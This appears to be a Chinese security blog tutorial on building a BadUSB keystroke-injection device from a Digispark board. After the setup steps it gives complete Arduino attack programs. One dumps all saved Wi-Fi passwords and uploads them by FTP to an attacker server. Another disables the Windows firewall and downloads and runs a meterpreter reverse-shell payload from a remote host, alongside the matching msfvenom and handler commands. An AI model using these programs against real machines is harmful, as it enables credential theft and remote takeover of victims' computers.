当前位置: 首页 > > 天 方 夜 “谈” 第3期 | 打造渗透神器BadUSB

天 方 夜 “谈” 第3期 | 打造渗透神器BadUSB

发表于:2020-03-18 20:48 作者: 方滨兴班 阅读数(12144人)

在2014年BlackHat安全大会上,SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了一种新的威胁,他们称之为“BadUSB”(按照BadBIOS命名),这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。

BadUSB是什么?

    BadUSB攻击属于HID攻击,是计算机直接与人交互的设备,例如键盘、鼠标等的一种,将普通U盘通过改写固件模拟成一个虚拟键盘,并模拟键盘输入带有攻击性的恶意指令从而达成入侵目的。能模拟键盘鼠标对电脑进行操作,就相当于控制了电脑。

    恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击,这使得BadUSB的攻击非常的有效且难以预防。

BadUSB的攻击流程

    BadUSB插入后,会模拟键盘鼠标对电脑进行操作,这些操作是通过植入U盘固件中的恶意代码定义的,通过模拟键盘鼠标打开电脑命令终端,并执行恶意的Dos命令来达到控制目标机、窃取信息、反弹shell、发邮件等目的。

BadUSB制作

1. 前期准备

1.1  硬件

    本次实验使用ATTINY85 Digispark kickstarter微型USB开发板,淘宝单价10元左右,物美价廉。

图片.png


1.2  Arduion IDE(代码烧录软件)

下载地址:

https://www.arduino.cn/thread-5838-1-1.html


Arduion IDE配置

1)文件→首选项→附加开发板管理:加入对Digispark开发板的支持

http://arduino.esp8266.com/stable/package_esp8266com_index.json

http://digistump.com/package_digistump_index.json

http://dan.drown.org/stm32duino/package_STM32duino_index.json

图片.png

2)工具→开发板→开发板管理器:

安装Digistump AVR Boards(可开代理下载)

图片.png

3)工具→开发板→Digispark(Default-16.5mhz)

工具→编程器→USBtinyISP 

1.3  DigiKeyboard.h头文件

    编程主要需要用到这个头文件,查看DigiKeyboard.h源码,学会使用内置定义的函数语法。

源码链接:

https://github.com/BesoBerlin/DigiKeyboard_DE/blob/master/DigiKeyboard.h 

1.4  Automator(编程辅助软件,非必须)

下载链接:

https://github.com/Catboy96/Automator/releases

 

图片.png

1.5  安装Digispark的驱动

下载链接:

https://pan.baidu.com/s/1WO_NX4RjofGBt_nvcX8AIA  提取码:6x58

 

图片.png

2. 代码编写以及效果

    Arduion IDE使用C语言进行编程,开始默认会有两个函数,setup()和loop()。当我们插入BadUSB时,它会执行一次setup()函数,然后循环执行loop()函数。

图片.png

简单介绍常用的语句


DigiKeyboard.delay(numbers):延迟numbers毫秒DigiKeyboard.sendKeyStroke():按键DigiKeyboard.sendKeyPress():按住键,不释放DigiKeyboard.sendKeyPress(0):释放按键DigiKeyboard.print():输入,println()为输入并回车

2.1     实例一:Hello World!

目的:打开目标机终端,打开notepad.exe,输入“Hello World!”。

攻击程序:


#include "DigiKeyboard.h"void setup() {  // put your setup code here, to run once:  DigiKeyboard.sendKeyStroke(0);  //初始化  DigiKeyboard.delay(2000);  //延迟两秒钟,用于系统识别Digispark  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  //按Win+R组合键  DigiKeyboard.delay(1000);  DigiKeyboard.print("cmd");  //输入cmd,打开终端  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  //回车键  DigiKeyboard.delay(1000);  DigiKeyboard.print("notepad");  //终端输入notepaid,打开记事本  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.print("Hello world!");}void loop() {  // put your main code here, to run repeatedly: }

    编写完代码后,点击左上角“√”编译代码,若没报错则点击旁边的“→”上传代码,紧接着有60秒的时间插入开发板,插入后当最下方出现“Thank You”,则代码上传完毕,简单的BadUSB制作完成。如果需要制作别的功能,则直接写代码上传即可覆盖原有的代码。

图片.png

BadUSB效果:

图片.png


2.2     实例二:获取WIFI密码

目的:通过执行命令读取目标机的历史连接的wifi的名称和密码,并发送到ftp服务器上。


netsh wlan show profiles name=wifiName key=clear

注意:需要Administrator权限执行此命令才可以看到wifi密码,所以需要以管理员身份打开终端。

攻击程序


#include "DigiKeyboard.h"void setup() {  // put your setup code here, to run once:  DigiKeyboard.sendKeyStroke(0);  DigiKeyboard.delay(2000);  DigiKeyboard.sendKeyStroke(0MOD_GUI_LEFT);//按Win键盘  DigiKeyboard.delay(1000);  DigiKeyboard.print(F("cmd"));  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_RIGHT | MOD_SHIFT_RIGHT);//在Win输入cmd的基础上按ctrl+shift+enter,  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  //读取wifi账号密码并保存到wifi.txt文件  DigiKeyboard.print("for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >> E:\\wifi.txt");  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(2000);  DigiKeyboard.print("ftp -i 192.168.1.106");  //连接ftp服务器  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.print("admin");  //ftp账号  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.print("admin");  //ftp密码  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.print("put E:\\wifi.txt");  //上传到ftp  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.println("quit");  DigiKeyboard.println("del E:\\wifi.txt");  DigiKeyboard.println("exit");}void loop() {  // put your main code here, to run repeatedly:}

BadUSB效果:

图片.png


2.3    实例三:反弹shell

目的:从网站下载木马,并运行木马,达到反弹shell的目的。

1)首先用kali制作木马,并把木马放在搭建的网站上;


   msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的IP地址 LPORT=kali开启的监听端口 -f exe >shell.exe


2)kali上打开MSF服务端并开启监听,等待反弹shell;


use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST kali的IP地址set LPORT kali开启的监听端口run

图片.png

3)上传攻击程序,制作BadUSB;


#include "DigiKeyboard.h"void setup() {  // put your setup code here, to run once:  DigiKeyboard.sendKeyStroke(0);  DigiKeyboard.delay(2000);  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);  DigiKeyboard.delay(1000);  DigiKeyboard.print(F("cmd"));  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_RIGHT | MOD_SHIFT_RIGHT);  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.print(F("netSh advfirewall set allprofiles state off")); //关闭防火墙  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.print(F("powershell -Command $clnt=new-object System.Net.WebClient;$url='http://172.20.10.2/shell.exe';$file='E:\\shell.exe';$clnt.DownloadFile($url,$file);"));//下载木马  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.print(F("E:\\shell.exe")); //运行木马  DigiKeyboard.delay(1000);  DigiKeyboard.sendKeyStroke(KEY_ENTER);  DigiKeyboard.delay(1000);  DigiKeyboard.println(F("exit"));}void loop() {  // put your main code here, to run repeatedly:}

4)目标机插上BadUSB后,攻击者获得一个反弹shell,得到shell后就可以为所欲为了。

图片.png


配套学习资源:

2014年BlackHat安全大会BadUSB的PDF

https://srlabs.de/wp-content/uploads/2014/11/SRLabs-BadUSB-Pacsec-v2.pdf